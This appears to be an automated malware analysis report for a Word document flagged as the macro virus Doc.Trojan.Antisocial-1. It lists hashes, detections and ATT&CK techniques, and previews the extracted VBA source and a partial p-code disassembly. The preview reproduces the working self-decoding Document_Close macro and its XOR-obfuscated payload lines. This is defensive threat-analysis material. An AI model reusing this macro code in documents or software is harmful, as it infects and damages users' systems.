Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 29387445bac506ea…

MALICIOUS

Office (OLE)

41.5 KB Created: 1999-10-02 08:09:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 5710c8a5fb0ebdcbc3db146c94dbd491 SHA-1: 53de4ea517e2bff20a6bcdca35e03b6442a3aa9e SHA-256: 29387445bac506ea66bc4ab933e93a1da26e2260e1cc1cb46e457d0028cf16fe
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a Microsoft Word document containing VBA macros. The `Document_Close` subroutine in `macros.bas` is designed to deobfuscate and execute code. The deobfuscation routine iterates through lines of code, XORing characters with a key derived from the line number, and then calls a subroutine `VM` to execute the resulting code. This indicates the document is likely a macro-based downloader or dropper.

Heuristics 2

  • ClamAV: Doc.Trojan.Antisocial-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Antisocial-1
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5164 bytes
SHA-256: 239a4628785375488188abfd023aa4b5b462a284f4e27615e160be6c1de02f4e
Detection
ClamAV: Doc.Trojan.Antisocial-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
Application.EnableCancelKey = wdCancelDisabled
For V1 = 18 To 39
V2 = Null
V3 = (ThisDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(V1, 1))
V4 = Asc((Mid(V3, 2, 1)))
V5 = V4 Xor 39
For V6 = 3 To Len(V3)
V7 = Asc(Mid(V3, V6, 1)) Xor V5
V2 = V2 & Chr(V7)
Next V6
V8 = V2
ThisDocument.VBProject.VBComponents.Item(1).CodeModule.ReplaceLine V1, V8
Next V1
Call VM
End Sub
Private Sub VM()
'!@it&P7&;&7>&Ri&5?
'"S7%8%Kpii
'"S6%8%'"'%#%-QmlvAjfph`kq+SGUwjo`fq+SGFjhujk`kqv+Lq`h-4,+Fja`Hjapi`+Ilk`v-S4)%4,,
'$U7#>#Jmw+Qmg+*#)#;*#(#2
'$Elq#U6#>#2#Wl#Ofm+U0*
' Q1':'Ftd/Jnc/Q4+'Q2+'6..'_hu'Q3
'&W3!<!W3!'!Bis)W7(
' Ib s'Q2
' Q0':'Q5
'!RnouBieskchr(PDVtilcer(PDEikvihchru(Orck.7/(EibcKibsjc(TcvjgecJohc&P7*&$!$& &P1
'&Odyu!W0
'#Ktpmkjw*RmvqwTvkpagpmkj$9$4
' Hwsnhit)TfqbIhujfkWuhjws':'7
' Hwsnhit)DhianujDhiqbutnhit':'7
'$U;#>#WkjpGl`vnfmw-UASqlif`w-UA@lnslmfmwp-Jwfn+2*-@lgfNlgvof-Ojmfp+2/#WkjpGl`vnfmw-UASqlif`w-UA@lnslmfmwp-Jwfn+2*-@lgfNlgvof-@lvmwLeOjmfp*
'/[m|(^1(5(Fgzeid\mexdi|m&^JXzgbmk|&^JKgexgfmf|{&A|me 9!&KglmEgl}dm
' Q>)CbkbsbKnibt'6+'Q>)DhrisHaKnibt
'&W8/@eeGsnlRushof!W9
'/[m|(^I(5(Ik|a~mLgk}emf|&^JXzgbmk|&^JKgexgfmf|{&A|me 9!&KglmEgl}dm
'$UB-GfofwfOjmfp#2/#UB-@lvmwLeOjmfp
'"SD+DaaCwjhVqwlkb%S=
' FdsnqbChdrjbis)TfqbFt'AnkbIfjb=:FdsnqbChdrjbis)ArkkIfjb
End Sub 'Alcoholic Anarchists of America (AAA) Lys Kovick

' Processing file: /opt/analyzer/scan_staging/9060e3da59bb4c1e8bbbb53507526711.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 11144 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_Close())
' Line #1:
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #2:
' 	StartForVariable 
' 	Ld V1 
' 	EndForVariable 
' 	LitDI2 0x0012 
' 	LitDI2 0x0027 
' 	For 
' Line #3:
' 	LitVarSpecial (Null)
' 	St V2 
' Line #4:
' 	Ld V1 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld ThisDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	Paren 
' 	St V3 
' Line #5:
' 	Ld V3 
' 	LitDI2 0x0002 
' 	LitDI2 0x0001 
' 	ArgsLd Mid$ 0x0003 
' 	Paren 
' 	ArgsLd Asc 0x0001 
' 	St V4 
' Line #6:
' 	Ld V4 
' 	LitDI2 0x0027 
' 	Xor 
' 	St V5 
' Line #7:
' 	StartForVariable 
' 	Ld V6 
' 	EndForVariable 
' 	LitDI2 0x0003 
' 	Ld V3 
' 	FnLen 
' 	For 
' Line #8:
' 	Ld V3 
' 	Ld V6 
' 	LitDI2 0x0001 
' 	ArgsLd Mid$ 0x0003 
' 	ArgsLd Asc 0x0001 
' 	Ld V5 
' 	Xor 
' 	St V7 
' Line #9:
' 	Ld V2 
' 	Ld V7 
' 	ArgsLd Chr 0x0001 
' 	Concat 
' 	St V2 
' Line #10:
' 	StartForVariable 
' 	Ld V6 
' 	EndForVariable 
' 	NextVar 
' Line #11:
' 	Ld V2 
' 	St V8 
' Line #12:
' 	Ld V1 
' 	Ld V8 
' 	LitDI2 0x0001 
' 	Ld ThisDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemCall ReplaceLine 0x0002 
' Line #13:
' 	StartForVariable 
' 	Ld V1 
' 	EndForVariable 
' 	NextVar 
' Line #14:
' 	ArgsCall (Call) VM 0x0000 
' Line #15:
' 	EndSub 
' Line #16:
' 	FuncDefn (Private Sub VM())
' Line #17:
' 	QuoteRem 0x0000 0x0012 "!@it&P7&;&7>&Ri&5?"
' Line #18:
' 	QuoteRem 0x0000 0x000A ""S7%8%Kpii"
' Line #19:
' 	QuoteRem 0x0000 0x0051 ""S6%8%'"'%#%-QmlvAjfph`kq+SGUwjo`fq+SGFjhujk`kqv+Lq`h-4,+Fja`Hjapi`+Ilk`v-S4)%4,,"
' Line #20:
' 	QuoteRem 0x0000 0x0018 "$U7#>#Jmw+Qmg+*#)#;*#(#2"
' Line #21:
' 	QuoteRem 0x0000 0x0016 "$Elq#U6#>#2#Wl#Ofm+U0*"
' Line #22:
' 	QuoteRem 0x0000 0x0020 " Q1':'Ftd/Jnc/Q4+'Q2+'6..'_hu'Q3"
' Line #23:
' 	QuoteRem 0x0000 0x0012 "&W3!<!W3!'!Bis)W7("
' Line #24:
' 	QuoteRem 0x0000 0x0008 " Ib s'Q2"
' Line #25:
' 	QuoteRem 0x0000 0x0008 " Q0':'Q5"
' Line #26:
' 	QuoteRem 0x0000 0x0050 "!RnouBieskchr(PDVtilcer(PDEikvihchru(Orck.7/(EibcKibsjc(TcvjgecJohc&P7*&$!$& &P1"
' Line #27:
' 	QuoteRem 0x0000 0x0008 "&Odyu!W0"
' Line
... (truncated)